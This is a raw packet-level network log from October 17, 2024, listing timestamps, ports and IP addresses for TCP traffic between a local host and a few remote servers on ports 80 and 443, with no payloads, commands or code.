Oct 17, 2024 18:40:30.275197029 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.275234938 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.275252104 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.275274992 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.275280952 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.275343895 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.275343895 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.278276920 CEST	50054	443	192.168.2.7	95.100.48.249
Oct 17, 2024 18:40:30.278315067 CEST	443	50054	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:30.278662920 CEST	50054	443	192.168.2.7	95.100.48.249
Oct 17, 2024 18:40:30.279902935 CEST	50054	443	192.168.2.7	95.100.48.249
Oct 17, 2024 18:40:30.279925108 CEST	443	50054	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:30.310148954 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.310195923 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.310298920 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.310328960 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.326807022 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.326818943 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.326950073 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.364722013 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.364741087 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.364758015 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.364773989 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.364866972 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.364866972 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.364886045 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.365021944 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.365067005 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.365067005 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.365076065 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.365088940 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.365123034 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.365190983 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.395499945 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.395519018 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.395535946 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.395597935 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.395612001 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.395627022 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.397474051 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.397548914 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.430104971 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.430135965 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.430974007 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.484731913 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.484765053 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.484778881 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.484837055 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.484854937 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.484870911 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.484886885 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.484889030 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.484944105 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.484944105 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.484992981 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.485047102 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.485059977 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.485100031 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.485100031 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.485141039 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.516052961 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.516119003 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.516133070 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.516254902 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.516268015 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.516390085 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.605170012 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.605209112 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.605221987 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.605236053 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.605294943 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.605321884 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.605323076 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.605395079 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.605407000 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.605420113 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.605432034 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.605489969 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.605489969 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.605602026 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.605617046 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.605686903 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.605711937 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.636117935 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.636147022 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.636159897 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.636235952 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.636249065 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.636317015 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.636317015 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.677189112 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.677227020 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.677794933 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.725589991 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.725626945 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.725649118 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.725692987 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.725786924 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.725799084 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.725814104 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.725919962 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.725920916 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.725934029 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.726037979 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.726052046 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.726182938 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.726315975 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.726556063 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.756772041 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.756792068 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.756805897 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.756964922 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.926239014 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.926258087 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.926271915 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.926302910 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.926460981 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.926474094 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.926486015 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.926500082 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.926728964 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.926743031 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.926754951 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.926917076 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.938332081 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.938904047 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.031575918 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.031596899 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.031615019 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.031672955 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.031701088 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.031718969 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.031733036 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.031763077 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.031763077 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.031797886 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.031874895 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.031898022 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.031953096 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.032046080 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.032063007 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.032078028 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.032113075 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.032114029 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.032217026 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.032233000 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.032274008 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.032318115 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.032386065 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.032403946 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.032454014 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.032454014 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.092612028 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.092643976 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.092655897 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.092704058 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.092717886 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.092729092 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.092792988 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.092811108 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.092811108 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.092830896 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.092852116 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.092906952 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.120191097 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.120224953 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.120249987 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.120285034 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.121336937 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.121381998 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.121391058 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.121460915 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.121464014 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.121519089 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.121557951 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.121557951 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.153017998 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.153062105 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.153129101 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.153129101 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.182109118 CEST	443	50054	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:31.182208061 CEST	50054	443	192.168.2.7	95.100.48.249
Oct 17, 2024 18:40:31.183835030 CEST	50054	443	192.168.2.7	95.100.48.249
Oct 17, 2024 18:40:31.183852911 CEST	443	50054	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:31.184190035 CEST	443	50054	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:31.205106974 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.205122948 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.205199957 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.205835104 CEST	50054	443	192.168.2.7	95.100.48.249
Oct 17, 2024 18:40:31.213613987 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.213673115 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.213686943 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.213721037 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.213721037 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.213843107 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.241923094 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.241954088 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.241966963 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.242012978 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.242024899 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.242037058 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.242043972 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.242043972 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.243570089 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.243634939 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.243643045 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.243643045 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.243648052 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.244973898 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.247405052 CEST	443	50054	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:31.326479912 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.326500893 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.326539040 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.326754093 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.334264994 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.334307909 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.334321976 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.334345102 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.334367990 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.334438086 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.362488985 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.362507105 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.362519979 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.362565994 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.362628937 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.362642050 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.363527060 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.363539934 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.363552094 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.363604069 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.363667011 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.364871025 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.364871025 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.447937012 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.447966099 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.447979927 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.448061943 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.448061943 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.455086946 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.455101967 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.455115080 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.455408096 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.455408096 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.482671976 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.482690096 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.482697964 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.482716084 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.482767105 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.482781887 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.483654976 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.483705044 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.483719110 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.486879110 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.486879110 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.524780035 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.524832964 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.524846077 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.524874926 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.524874926 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.524915934 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.566992998 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.567018986 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.567029953 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.567399979 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.567399979 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.575210094 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.575246096 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.575257063 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.582061052 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.756561041 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.756582022 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.756594896 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.756766081 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.756778002 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.756789923 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.756803989 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.756932974 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.756982088 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.756992102 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.756994009 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.757110119 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.757164955 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.757229090 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.757241964 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.757394075 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.757406950 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.757425070 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.757440090 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.757481098 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.757481098 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.757481098 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.757699013 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.757711887 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.757742882 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.757788897 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.767530918 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.767581940 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.767766953 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.767766953 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.815850973 CEST	443	50054	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:31.815879107 CEST	443	50054	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:31.815922022 CEST	443	50054	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:31.816876888 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.816930056 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.816947937 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.817034960 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.825539112 CEST	50054	443	192.168.2.7	95.100.48.249
Oct 17, 2024 18:40:31.825560093 CEST	443	50054	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:31.827271938 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.827394009 CEST	50054	443	192.168.2.7	95.100.48.249
Oct 17, 2024 18:40:31.827394009 CEST	50054	443	192.168.2.7	95.100.48.249
Oct 17, 2024 18:40:31.845279932 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.845355034 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.845367908 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.845434904 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.856647015 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:31.936748028 CEST	443	50054	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:31.936824083 CEST	443	50054	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:31.936852932 CEST	443	50054	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:31.946150064 CEST	50054	443	192.168.2.7	95.100.48.249
Oct 17, 2024 18:40:31.946562052 CEST	50054	443	192.168.2.7	95.100.48.249
Oct 17, 2024 18:40:31.946593046 CEST	443	50054	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:31.946621895 CEST	50054	443	192.168.2.7	95.100.48.249
Oct 17, 2024 18:40:31.946633101 CEST	443	50054	95.100.48.249	192.168.2.7
Oct 17, 2024 18:40:31.948899984 CEST	50055	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:31.948961973 CEST	443	50055	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:31.949460983 CEST	50055	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:31.960279942 CEST	50055	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:31.960323095 CEST	443	50055	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:31.997206926 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.997304916 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.997374058 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:31.997386932 CEST	80	50053	185.215.113.103	192.168.2.7
